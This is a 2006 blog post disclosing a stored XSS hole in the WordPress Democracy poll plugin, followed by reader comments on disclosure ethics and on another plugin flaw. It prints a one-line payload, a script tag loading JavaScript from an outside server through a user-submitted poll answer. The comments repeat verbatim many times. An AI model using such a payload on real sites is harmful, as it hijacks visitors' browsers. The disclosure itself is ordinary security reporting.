Democracy Plugin XSS Vulnerability ALERT
Last week, Darren McLaughlin scooped a story regarding the very popular Democracy plugin for Wordpress. You can read his findings about how the execution of the plugin may cause all of your sites pages to be dropped from search engine indexes.
When it rains it pours because last week, we discovered an XSS exploit in the plugin that can cause a website to be hijacked. To be clear, we discovered this because one of our b5media blogs was in fact hijacked. While in our case, the hack was not malicious and actually redirected the site to Google, the truth is that by exploiting this plugin, a malicious hacker could redirect a website to any website that could execute any malicious code and compromise security. It affects btoh Firefox and Internet Explorer. PLEASE TAKE THIS WARNING SERIOUSLY!
I have alerted the plugin author who has responded positively and promises a new version of Democracy 2.0, however I warned him that he had one week until I released details of the exploit. Andrew has just posted Democracy Public Beta 2. Cannot vouch for its security yet as it has literally just now been posted. Prelimnary testing indicates it’s okay though.
How To Exploit the Democracy 1.2 XSS Vulnerability
This is not a complex exploit.
I have created a javascript file called examplehack.js and placed it on my webserver. It simply redirects to a standard HTML page with a message. This could be any page containing any scripting.
To exploit the plugin, the blog owner must have a poll that allows user contributed answers. Simply “Adding an answer” with the following code (sample) will create a hijacked browser:
1 | <script src=http://technosailor/examplehack.js>test</script> |
Refresh and watch traffic get siphoned away.
Originally discovered by Duncan Riley.
Pick up your copy of the WordPress Bible, a wildly popular resource for beginners and experts alike.
Written by Aaron Brazell on September 22, 2006
Popularity: 1% [?]
Aaron Brazell
Steven Fisher
Ray Capece
Carlos Granier-Phelps
Andrew Feinberg
Mike Dougherty
Chris Bachmann
Leslie Poston
Jerald Sheets
Scott Goldblatt
Mykel Nahorniak
Peter Corbett
Jonathan Dingman
Geoff Livingston
Jeremy Toeman
Rachel James
Chris Parandian
Warren Sukernek
Joseph Hauckes
Shana Glickfield
Vinnie Garcia
David Nick
Duncan Riley
Carol Ott
Darren McLaughlin
Mike Oliver
Rico Masterson
Lou P. Nuts
Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)
Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)
Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)
Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)
Podz: Don’t forget all those people over on the wp.com forums who keep saying that javascripts, embed, and object tags are safe as well. :)
drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.
I’ve a challenge. If it will be accepted.
drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.
I’ve a challenge. If it will be accepted.
drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.
I’ve a challenge. If it will be accepted.
drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.
I’ve a challenge. If it will be accepted.
drmike – I wasn’t saying they were safe. I’m talking about people who can code saying that other code is unsafe.
I’ve a challenge. If it will be accepted.
It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.
Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.
It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.
It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.
It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.
It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.
It’s a shame that it always takes the public posting of the exploit for the author to fix the problem. Although I can’t be too hard on someone who creates a plugin at no cost, so I don’t know. Mixed feelings as usual.
Can you hold the author liable for any problems, even though his software is free? I’m not sure that it’s fair to do so.
Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.
Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.
Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.
Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.
Leroy: Technically, no you can’t hold an author liable. In reality though, he’s liable. That’s how anyone who would get exploited would feel. That’s how I would feel if I was hacked as a result. Fortunately, I was able to post the exploit with a link to a new version, so I’d like to think that I worked with Andrew to find a solution before it blew up.
Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Aaron,
I may feel differently if one of my sites had been hacked – that’ll certainly give you a different perspective on the matter. Either way, it’s necessary to post the expoit so that a fix can be produced, whether by the author or someone else. Good to see that the author did come up with a fix, so that people had a solution instead of a freak-out period of waiting.
Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).
Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.
Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).
Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).
Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).
Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).
Aaron. As I wrote at my site http://websecurity.com.ua/187/ two weeks ago, I was found a vulnerability in Subscribe To Comments WordPress plugin (and already released the path and plugin developer also worked on next version of plugin). So there are many other cases (among WordPress plugins) with plugin’s vulnerabilities, not only in Democracy plugin. And as I see, you also use Subscribe To Comments at your site, so you need to draw attention to this information (and check your plugin).
Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.
Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.
Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.
Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.
Aaron. You have already validated my message and then I retrieved my “key” (it need for your version of wp-subscription-manager.php). And after looking to one of the vulnerable scripts (in this case – wp-subscription-manager.php), I can tell you that your site is vulnerable (via Subscribe To Comments plugin)!
You need to update plugin. You can take Subscribe To Comments 2.0.5 from my MustLive Security Pack v.1.0.4 or download last version (Subscribe To Comments 2.0.8) from developer’s site.